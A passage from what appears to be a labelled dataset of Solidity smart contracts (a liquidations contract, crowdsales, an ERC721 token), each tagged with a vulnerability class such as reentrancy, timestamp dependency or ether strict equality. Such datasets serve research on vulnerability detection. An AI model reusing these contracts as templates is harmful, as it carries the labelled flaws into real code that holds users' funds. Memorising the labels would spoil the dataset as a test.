CONTRACT_ETERNALSTORAGE_LIQUIDATIONS = ""EternalStorageLiquidations""; bytes32 private constant CONTRACT_ISSUER = ""Issuer""; bytes32 private constant CONTRACT_EXRATES = ""ExchangeRates""; /* ========== CONSTANTS ========== */ // Storage keys bytes32 public constant LIQUIDATION_DEADLINE = ""LiquidationDeadline""; bytes32 public constant LIQUIDATION_CALLER = ""LiquidationCaller""; constructor(address _owner, address _resolver) public Owned(_owner) MixinSystemSettings(_resolver) {} /* ========== VIEWS ========== */ function resolverAddressesRequired() public view returns (bytes32[] memory addresses) { bytes32[] memory existingAddresses = MixinSystemSettings.resolverAddressesRequired(); bytes32[] memory newAddresses = new bytes32[](5); newAddresses[0] = CONTRACT_SYSTEMSTATUS; newAddresses[1] = CONTRACT_SYNTHETIX; newAddresses[2] = CONTRACT_ETERNALSTORAGE_LIQUIDATIONS; newAddresses[3] = CONTRACT_ISSUER; newAddresses[4] = CONTRACT_EXRATES; addresses = combineArrays(existingAddresses, newAddresses); } function synthetix() internal view returns (ISynthetix) { return ISynthetix(requireAndGetAddress(CONTRACT_SYNTHETIX)); } function systemStatus() internal view returns (ISystemStatus) { return ISystemStatus(requireAndGetAddress(CONTRACT_SYSTEMSTATUS)); } function issuer() internal view returns (IIssuer) { return IIssuer(requireAndGetAddress(CONTRACT_ISSUER)); } function exchangeRates() internal view returns (IExchangeRates) { return IExchangeRates(requireAndGetAddress(CONTRACT_EXRATES)); } // refactor to synthetix storage eternal storage contract once that's ready function eternalStorageLiquidations() internal view returns (EternalStorage) { return EternalStorage(requireAndGetAddress(CONTRACT_ETERNALSTORAGE_LIQUIDATIONS)); } function issuanceRatio() external view returns (uint) { return getIssuanceRatio(); } function liquidationDelay() external view returns (uint) { return getLiquidationDelay(); } function liquidationRatio() external view returns (uint) { return getLiquidationRatio(); } function liquidationPenalty() external view returns (uint) { return getLiquidationPenalty(); } function liquidationCollateralRatio() external view returns (uint) { return SafeDecimalMath.unit().divideDecimalRound(getLiquidationRatio()); } function getLiquidationDeadlineForAccount(address account) external view returns (uint) { LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); return liquidation.deadline; } function isOpenForLiquidation(address account) external view returns (bool) { uint accountCollateralisationRatio = synthetix().collateralisationRatio(account); // Liquidation closed if collateral ratio less than or equal target issuance Ratio // Account with no snx collateral will also not be open for liquidation (ratio is 0) if (accountCollateralisationRatio <= getIssuanceRatio()) { return false; } LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); // liquidation cap at issuanceRatio is checked above if (_deadlinePassed(liquidation.deadline)) { return true; } return false; } function isLiquidationDeadlinePassed(address account) external view returns (bool) { LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); return _deadlinePassed(liquidation.deadline); } function _deadlinePassed(uint deadline) internal view returns (bool) { // check deadline is set > 0 // check now > deadline return deadline > 0 && now > deadline; } /** * r = target issuance ratio * D = debt balance * V = Collateral * P = liquidation penalty * Calculates amount of synths = (D - V * r) / (1 - (1 + P) * r) */ function calculateAmountToFixCollateral(uint debtBalance, uint collateral) external view returns (uint) { uint ratio = getIssuanceRatio(); uint unit = SafeDecimalMath.unit(); uint dividend = debtBalance.sub(collateral.multiplyDecimal(ratio)); uint divisor = unit.sub(unit.add(getLiquidationPenalty()).multiplyDecimal(ratio)); return dividend.divideDecimal(divisor); } // get liquidationEntry for account // returns deadline = 0 when not set function _getLiquidationEntryForAccount(address account) internal view returns (LiquidationEntry memory _liquidation) { _liquidation.deadline = eternalStorageLiquidations().getUIntValue(_getKey(LIQUIDATION_DEADLINE, account)); // liquidation caller not used _liquidation.caller = address(0); } function _getKey(bytes32 _scope, address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_scope, _account)); } /* ========== MUTATIVE FUNCTIONS ========== */ // totalIssuedSynths checks synths for staleness // check snx rate is not stale function flagAccountForLiquidation(address account) external rateNotInvalid(""SNX"") { systemStatus().requireSystemActive(); require(getLiquidationRatio() > 0, ""Liquidation ratio not set""); require(getLiquidationDelay() > 0, ""Liquidation delay not set""); LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); require(liquidation.deadline == 0, ""Account already flagged for liquidation""); uint accountsCollateralisationRatio = synthetix().collateralisationRatio(account); // if accounts issuance ratio is greater than or equal to liquidation ratio set liquidation entry require( accountsCollateralisationRatio >= getLiquidationRatio(), ""Account issuance ratio is less than liquidation ratio"" ); uint deadline = now.add(getLiquidationDelay()); _storeLiquidationEntry(account, deadline, msg.sender); emit AccountFlaggedForLiquidation(account, deadline); } // Internal function to remove account from liquidations // Does not check collateral ratio is fixed function removeAccountInLiquidation(address account) external onlyIssuer { LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); if (liquidation.deadline > 0) { _removeLiquidationEntry(account); } } // Public function to allow an account to remove from liquidations // Checks collateral ratio is fixed - below target issuance ratio // Check SNX rate is not stale function checkAndRemoveAccountInLiquidation(address account) external rateNotInvalid(""SNX"") { systemStatus().requireSystemActive(); LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); require(liquidation.deadline > 0, ""Account has no liquidation set""); uint accountsCollateralisationRatio = synthetix().collateralisationRatio(account); // Remove from liquidations if accountsCollateralisationRatio is fixed (less than equal target issuance ratio) if (accountsCollateralisationRatio <= getIssuanceRatio()) { _removeLiquidationEntry(account); } } function _storeLiquidationEntry( address _account, uint _deadline, address _caller ) internal { // record liquidation deadline eternalStorageLiquidations().setUIntValue(_getKey(LIQUIDATION_DEADLINE, _account), _deadline); eternalStorageLiquidations().setAddressValue(_getKey(LIQUIDATION_CALLER, _account), _caller); } function _removeLiquidationEntry(address _account) internal { // delete liquidation deadline eternalStorageLiquidations().deleteUIntValue(_getKey(LIQUIDATION_DEADLINE, _account)); // delete liquidation caller eternalStorageLiquidations().deleteAddressValue(_getKey(LIQUIDATION_CALLER, _account)); emit AccountRemovedFromLiquidation(_account, now); } /* ========== MODIFIERS ========== */ modifier onlyIssuer() { require(msg.sender == address(issuer()), ""Liquidations: Only the Issuer contract can perform this action""); _; } modifier rateNotInvalid(bytes32 currencyKey) { require(!exchangeRates().rateIsInvalid(currencyKey), ""Rate invalid or not a synth""); _; } /* ========== EVENTS ========== */ event AccountFlaggedForLiquidation(address indexed account, uint deadline); event AccountRemovedFromLiquidation(address indexed account, uint time); } ",./Dataset/reentrancy (RE)/,5,5 9208.sol," pragma solidity ^0.4.15; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) revert(); _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) revert(); _; } modifier onlyInEmergency { if (!halted) revert(); _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy is Ownable { function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } contract FinalizeAgent { function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function finalizeCrowdsale(); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract FractionalERC20 is ERC20 { uint public decimals; } contract Crowdsale is Haltable { uint public constant TIME_PERIOD_IN_SEC = 1 days; uint public baseEthCap; uint public maxEthPerAddress; uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMath for uint; FractionalERC20 public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint256 public tokensSold = 0; uint256 public weiRaised = 0; uint public presaleWeiRaised = 0; uint public investorCount = 0; uint public loadedRefund = 0; uint public weiRefunded = 0; bool public finalized; bool public requireCustomerId; bool public requiredSignedAddress; address public signerAddress; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} event Invested(address investor, uint256 weiAmount, uint256 tokenAmount, uint128 customerId); event Refund(address investor, uint weiAmount); event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress); event EndsAtChanged(uint newEndsAt); event BaseEthCapChanged(uint newBaseEthCap); event MaxEthPerAddressChanged(uint newMaxEthPerAddress); function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _baseEthCap, uint _maxEthPerAddress) { owner = msg.sender; baseEthCap = _baseEthCap; maxEthPerAddress = _maxEthPerAddress; token = FractionalERC20(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if (multisigWallet == 0) { revert(); } if (_start == 0) { revert(); } startsAt = _start; if (_end == 0) { revert(); } endsAt = _end; if (startsAt >= endsAt) { revert(); } minimumFundingGoal = _minimumFundingGoal; } function() payable { buy(); } function investInternal(address receiver, uint128 customerId) stopInEmergency private { uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals()); if (tokenAmount == 0) { revert(); } uint currentFgcCap = getCurrentFgcCap(); if (tokenAmount > currentFgcCap) { revert(); } if (investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount); weiRaised = weiRaised.add(weiAmount); tokensSold = tokensSold.add(tokenAmount); if (pricingStrategy.isPresalePurchase(receiver)) { presaleWeiRaised = presaleWeiRaised.add(weiAmount); } if (isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { revert(); } assignTokens(receiver, tokenAmount); if (!multisigWallet.send(weiAmount)) revert(); Invested(receiver, weiAmount, tokenAmount, customerId); } function getCurrentFgcCap() public constant returns (uint) { if (block.timestamp < startsAt) return maxEthPerAddress; uint timeSinceStart = block.timestamp.sub(startsAt); uint currentPeriod = timeSinceStart.div(TIME_PERIOD_IN_SEC).add(1); if (currentPeriod < 2) { return 5000 * 10**token.decimals(); } if (currentPeriod > 2 && currentPeriod < 5) { return 1000 * 10**token.decimals(); } if (currentPeriod > 4 && currentPeriod < 6) { return 500 * 10**token.decimals(); } if (currentPeriod > 5 && currentPeriod < 9) { return 200 * 10**token.decimals(); } if (currentPeriod > 8 && currentPeriod < 11) { return 100 * 10**token.decimals(); } return maxEthPerAddress; } function preallocate(address receiver, uint256 fullTokens, uint256 weiPrice) public onlyOwner { uint256 tokenAmount = fullTokens; uint256 weiAmount = weiPrice * fullTokens; weiRaised = weiRaised.add(weiAmount); tokensSold = tokensSold.add(tokenAmount); investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount); assignTokens(receiver, tokenAmount); Invested(receiver, weiAmount, tokenAmount, 0); } function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { bytes32 hash = sha256(addr); if (ecrecover(hash, v, r, s) != signerAddress) revert(); if (customerId == 0) revert(); investInternal(addr, customerId); } function investWithCustomerId(address addr, uint128 customerId) public payable { if (requiredSignedAddress) revert(); if (customerId == 0) revert(); investInternal(addr, customerId); } function invest(address addr) public payable { if (requireCustomerId) revert(); if (requiredSignedAddress) revert(); investInternal(addr, 0); } function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { investWithSignedAddress(msg.sender, customerId, v, r, s); } function buyWithCustomerId(uint128 customerId) public payable { investWithCustomerId(msg.sender, customerId); } function buy() public payable { invest(msg.sender); } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if (finalized) { revert(); } if (address(finalizeAgent) != 0) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) onlyOwner { finalizeAgent = addr; if (!finalizeAgent.isFinalizeAgent()) { revert(); } } function setRequireCustomerId(bool value) onlyOwner { requireCustomerId = value; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner { requiredSignedAddress = value; signerAddress = _signerAddress; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function setBaseEthCap(uint _baseEthCap) onlyOwner { if (_baseEthCap == 0) revert(); baseEthCap = _baseEthCap; BaseEthCapChanged(baseEthCap); } function setMaxEthPerAddress(uint _maxEthPerAddress) onlyOwner { if(_maxEthPerAddress == 0) revert(); maxEthPerAddress = _maxEthPerAddress; MaxEthPerAddressChanged(maxEthPerAddress); } function setEndsAt(uint time) onlyOwner { if (now > time) { revert(); } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { pricingStrategy = _pricingStrategy; if (!pricingStrategy.isPricingStrategy()) { revert(); } } function setMultisig(address addr) public onlyOwner { if (investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { revert(); } multisigWallet = addr; } function loadRefund() public payable inState(State.Failure) { if (msg.value == 0) revert(); loadedRefund = loadedRefund.add(msg.value); } function refund() public inState(State.Refunding) { uint256 weiValue = investedAmountOf[msg.sender]; if (weiValue == 0) revert(); investedAmountOf[msg.sender] = 0; weiRefunded = weiRefunded.add(weiValue); Refund(msg.sender, weiValue); if (!msg.sender.send(weiValue)) revert(); } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if (finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; else return State.Failure; } function setOwnerTestValue(uint val) onlyOwner { ownerTestValue = val; } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if (getState() != state) revert(); _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract ReleasableToken is ERC20, Ownable { address public releaseAgent; bool public released = false; mapping (address => bool) public transferAgents; modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { revert(); } } _; } function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { releaseAgent = addr; } function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } function releaseTokenTransfer() public onlyReleaseAgent { released = true; } modifier inReleaseState(bool releaseState) { if(releaseState != released) { revert(); } _; } modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { revert(); } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { return super.transferFrom(_from, _to, _value); } } contract DefaultFinalizeAgent is FinalizeAgent { ReleasableToken public token; Crowdsale public crowdsale; function DefaultFinalizeAgent(ReleasableToken _token, Crowdsale _crowdsale) { token = _token; crowdsale = _crowdsale; } function isSane() public constant returns (bool) { return (token.releaseAgent() == address(this)); } function finalizeCrowdsale() public { if (msg.sender != address(crowdsale)) { revert(); } token.releaseTokenTransfer(); } }",./Dataset/timestamp dependency (TP)/,6,6 249.sol,"pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract Token { function transfer(address _to, uint256 _value) public returns (bool); } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overridden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropriate to concatenate * behavior. */ contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold Token public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per ether. uint256 public rate; // Amount of wei raised uint256 public weiRaised; // ICO start timestamp uint256 public startTime = now; // periods timestamps uint256 round1StartTime; uint256 round1EndTime; uint256 round2StartTime; uint256 round2EndTime; uint256 round3StartTime; uint256 round3EndTime; uint256 round4StartTime; uint256 round4EndTime; // bonuses in % uint256 public round1Bonus = 20; uint256 public round2Bonus = 15; uint256 public round3Bonus = 5; // min contribution in wei uint256 public minContribution = 100 finney; // hardcaps in tokens uint256 public round1Cap = uint256(9e8).mul(1 ether); uint256 public round2Cap = uint256(12e8).mul(1 ether); uint256 public round3Cap = uint256(15e8).mul(1 ether); uint256 public round4Cap = uint256(24e8).mul(1 ether); // tokens sold uint256 public round1Sold; uint256 public round2Sold; uint256 public round3Sold; uint256 public round4Sold; // Contributions mapping(address => uint256) public contributions; // hardCap in ETH uint256 hardCap = 12500 ether; // softCap in ETH uint256 softCap = 1250 ether; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * Event for external token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param amount amount of tokens purchased */ event ExternalTokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 amount ); /** * @param _rate Base rate * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(uint256 _rate, address _newOwner, address _wallet, Token _token) public { require(_wallet != address(0)); require(_token != address(0)); rate = _rate; owner = _newOwner; wallet = _wallet; token = _token; round1StartTime = startTime; round1EndTime = round1StartTime.add(7 days); round2StartTime = round1EndTime.add(1 days); round2EndTime = round2StartTime.add(10 days); round3StartTime = round2EndTime.add(1 days); round3EndTime = round3StartTime.add(14 days); round4StartTime = round3EndTime.add(1 days); round4EndTime = round4StartTime.add(21 days); } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev getting stage index */ function _getStageIndex () internal view returns (uint8) { if (now < round1StartTime) return 0; if (now <= round1EndTime) return 1; if (now < round2StartTime) return 2; if (now <= round2EndTime) return 3; if (now < round3StartTime) return 4; if (now <= round3EndTime) return 5; if (now < round4StartTime) return 6; if (now <= round4EndTime) return 7; return 8; } /** * @dev getting stage name */ function getStageName () public view returns (string) { uint8 stageIndex = _getStageIndex(); if (stageIndex == 0) return 'Pause'; if (stageIndex == 1) return 'Round1'; if (stageIndex == 2) return 'Round1 end'; if (stageIndex == 3) return 'Round2'; if (stageIndex == 4) return 'Round2 end'; if (stageIndex == 5) return 'Round3'; if (stageIndex == 6) return 'Round3 end'; if (stageIndex == 7) return 'Round4'; if (stageIndex == 8) return 'Round4 end'; return 'Pause'; } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; uint8 stageIndex = _getStageIndex(); require(stageIndex > 0); require(stageIndex <= 8); _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount, stageIndex); // update state weiRaised = weiRaised.add(weiAmount); contributions[msg.sender] = contributions[msg.sender].add(weiAmount); if (stageIndex == 1 || stageIndex == 2) round1Sold = round1Sold.add(tokens); else if (stageIndex == 3 || stageIndex == 4) round2Sold = round2Sold.add(tokens); else if (stageIndex == 5 || stageIndex == 6) round3Sold = round3Sold.add(tokens); else round4Sold = round4Sold.add(tokens); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); if (weiRaised >= softCap) _forwardFunds(); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(_beneficiary, _weiAmount); * require(weiRaised.add(_weiAmount) <= cap); * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal view { require(_beneficiary != address(0)); require(_weiAmount > 0); require(weiRaised.add(_weiAmount) <= hardCap); require(_weiAmount >= minContribution); } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(token.transfer(_beneficiary, _tokenAmount)); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount, uint8 _stageIndex) internal view returns (uint256) { uint256 _bonus = 0; uint256 _cap; if (_stageIndex == 1) { _bonus = round1Bonus; _cap = round1Cap.sub(round1Sold); } else if (_stageIndex == 2) { _cap = round2Cap.sub(round1Sold); } else if (_stageIndex == 3) { _bonus = round2Bonus; _cap = round1Cap.sub(round1Sold).add(round2Cap).sub(round2Sold); } else if (_stageIndex == 4) { _cap = round1Cap.sub(round1Sold).add(round2Cap).sub(round2Sold); } else if (_stageIndex == 5) { _bonus = round3Bonus; _cap = round1Cap.sub(round1Sold).add(round2Cap).sub(round2Sold).add(round3Cap).sub(round3Sold); } else if (_stageIndex == 6) { _cap = round1Cap.sub(round1Sold).add(round2Cap).sub(round2Sold).add(round3Cap).sub(round3Sold); } else { _cap = round1Cap.sub(round1Sold).add(round2Cap).sub(round2Sold).add(round3Cap).sub(round3Sold).add(round4Cap).sub(round4Sold); } uint256 _tokenAmount = _weiAmount.mul(rate); if (_bonus > 0) { uint256 _bonusTokens = _tokenAmount.mul(_bonus).div(100); _tokenAmount = _tokenAmount.add(_bonusTokens); } if (_stageIndex < 8) require(_tokenAmount <= _cap); return _tokenAmount; } function refund () public returns (bool) { require(now > round4EndTime); require(weiRaised < softCap); require(contributions[msg.sender] > 0); uint256 refundAmount = contributions[msg.sender]; contributions[msg.sender] = 0; weiRaised = weiRaised.sub(refundAmount); msg.sender.transfer(refundAmount); return true; } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(address(this).balance); } function transferSoldTokens(address _beneficiary, uint256 _tokenAmount) public onlyOwner returns (bool) { uint8 stageIndex = _getStageIndex(); require(stageIndex > 0); require(stageIndex <= 8); if (stageIndex == 1 || stageIndex == 2) { round1Sold = round1Sold.add(_tokenAmount); require(round1Sold <= round1Cap); } else if (stageIndex == 3 || stageIndex == 4) { round2Sold = round2Sold.add(_tokenAmount); require(round2Sold <= round2Cap); } else if (stageIndex == 5 || stageIndex == 6) { round3Sold = round3Sold.add(_tokenAmount); require(round3Sold <= round3Cap); } else if (stageIndex == 7) { round4Sold = round4Sold.add(_tokenAmount); require(round4Sold <= round4Cap); } emit ExternalTokenPurchase( _beneficiary, _beneficiary, _tokenAmount ); require(token.transfer(_beneficiary, _tokenAmount)); return true; } }",./Dataset/ether strict equality (SE),3,3 1849.sol,"pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Claimable is Ownable { address public pendingOwner; modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract ERC721 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function transfer(address _to, uint256 _tokenId) public; function approve(address _to, uint256 _tokenId) public; function takeOwnership(uint256 _tokenId) public; } contract ERC721Token is ERC721 { using SafeMath for uint256; uint256 private totalTokens; mapping (uint256 => address) private tokenOwner; mapping (uint256 => address) private tokenApprovals; mapping (address => uint256[]) private ownedTokens; mapping(uint256 => uint256) private ownedTokensIndex; modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } function totalSupply() public view returns (uint256) { return totalTokens; } function balanceOf(address _owner) public view returns (uint256) { return ownedTokens[_owner].length; } function tokensOf(address _owner) public view returns (uint256[]) { return ownedTokens[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } function approvedFor(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) { clearApprovalAndTransfer(msg.sender, _to, _tokenId); } function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) { address owner = ownerOf(_tokenId); require(_to != owner); if (approvedFor(_tokenId) != 0 || _to != 0) { tokenApprovals[_tokenId] = _to; Approval(owner, _to, _tokenId); } } function takeOwnership(uint256 _tokenId) public { require(isApprovedFor(msg.sender, _tokenId)); clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId); } function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addToken(_to, _tokenId); Transfer(0x0, _to, _tokenId); } function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) internal { if (approvedFor(_tokenId) != 0) { clearApproval(msg.sender, _tokenId); } removeToken(msg.sender, _tokenId); Transfer(msg.sender, 0x0, _tokenId); } function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) { return approvedFor(_tokenId) == _owner; } function clearApprovalAndTransfer(address _from, address _to, 